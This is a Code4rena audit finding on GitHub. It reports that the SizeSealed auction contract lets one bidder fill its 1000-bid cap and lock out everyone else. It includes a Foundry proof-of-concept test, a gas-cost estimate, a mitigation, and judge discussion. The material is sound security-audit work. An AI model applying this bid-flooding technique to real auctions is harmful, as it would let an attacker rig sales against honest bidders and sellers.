code-423n4 / 2022-11-size-findings

1 stars 0 forks source link

Attacker can bid 1000 times to not allow anyone else beat his price #180

Closed code423n4 closed 2 years ago

code423n4 commented 2 years ago

Lines of code

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L157-L159

Vulnerability details

Impact

Attacker can bid 1000 times to not allow anyone else beat his price. As a result the auction is unfair.

Proof of Concept

Function bid doesn't allow to bid more than 1000 times in same auction.

This can be used by attacker. He can bid all 1000 times in a row in different blocks with minimum price and as result he will be the only one who can win the auction. Because as foundry shows call to bid consumes 144778 gas, then attacker need to seal 5 blocks in a row with 200 bids inside.

Yes, he should pay a lot of gas fees, but in some cases, when there will be some auction with prices lowered too much, it can make sense and profit will be greater than gas fees. Of course, auction seller can just ignore the auction if he cares.

function test1000Bids() public {
        uint256 aid = seller.createAuction(
            baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockTime, cliffPercent
        );

        uint256 SELLER_PRIVATE_KEY = uint256(keccak256("Size Seller"));
        uint256 BUYER_PRIVATE_KEY = uint256(keccak256("Size Buyer"));

        bytes32 message = auction.computeMessage(2 ether, "hello2");
        (, bytes32 encryptedMessage) =
            ECCMath.encryptMessage(ECCMath.publicKey(SELLER_PRIVATE_KEY), BUYER_PRIVATE_KEY, message);

        quoteToken.mint(address(this), 1000 ether);
        quoteToken.approve(address(auction), type(uint256).max);

        bytes32 commitment = auction.computeCommitment(message);
        ECCMath.Point memory pubK = ECCMath.publicKey(BUYER_PRIVATE_KEY);
        for (uint256 i = 0; i < 1000; ++i) {
            uint256 lastBidIndex = auction.bid(
                aid,
                2e6,
                commitment,
                pubK,
                encryptedMessage,
                "",
                new bytes32[](0)
            );
        }

        vm.expectRevert();
        uint256 lastBidIndex = auction.bid(
            aid,
            2e6,
            commitment,
            pubK,
            encryptedMessage,
            "",
            new bytes32[](0)
        );
    }

Foundry gas report. │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ │ bid ┆ 2243 ┆ 144778 ┆ 144877 ┆ 188677 ┆ 1001 |

According to this results from foundry it needs 1000 144877 gas for 1000 calls. Having that block gas limit is 30M it means that attacker can do this using 5 blocks. If gas costs 10 gwei(cheap) then price for attack will be 10 1000 * 144877 and will be approximately 1.5 eth. I guess this is possible for someone to spend in case of good benefit.

Tools Used

VsCode

Recommended Mitigation Steps

Add some limitation for the bids from same address. For example maximum 5 bids.

trust1995 commented 2 years ago

I believe this is within the bounds accepted by the project, buyer offers an above minimum sell price multiple times.

c4-judge commented 2 years ago

0xean marked the issue as duplicate

rvierdiiev commented 1 year ago

@0xean I would like to point that such attack will cost attacker 1.5 eth. I believe that noone will do that just to ddos auction. Such attack is only profitable when attacker wants to win auction with a good price. I see that there are a lot of duplicate-64 bugs and part of them are talking about ddos, while another are talking about making profit. I would like to point the judge that these 2 types of attacks are different (in case of ddos attacker loose 1.5 eth). I believe that all duplicate-64 bugs that are talking about auction ddos should be lowered to QA while all duplicate-64 bugs that are talking about making profit for attacker should stay medium.

0xean commented 1 year ago

@rvierdiyev thanks for the input. Both of them are closely enough related to be marked as the same underlying issue that can manifest itself in different ways, and both qualify as M

c4-judge commented 1 year ago

0xean marked the issue as satisfactory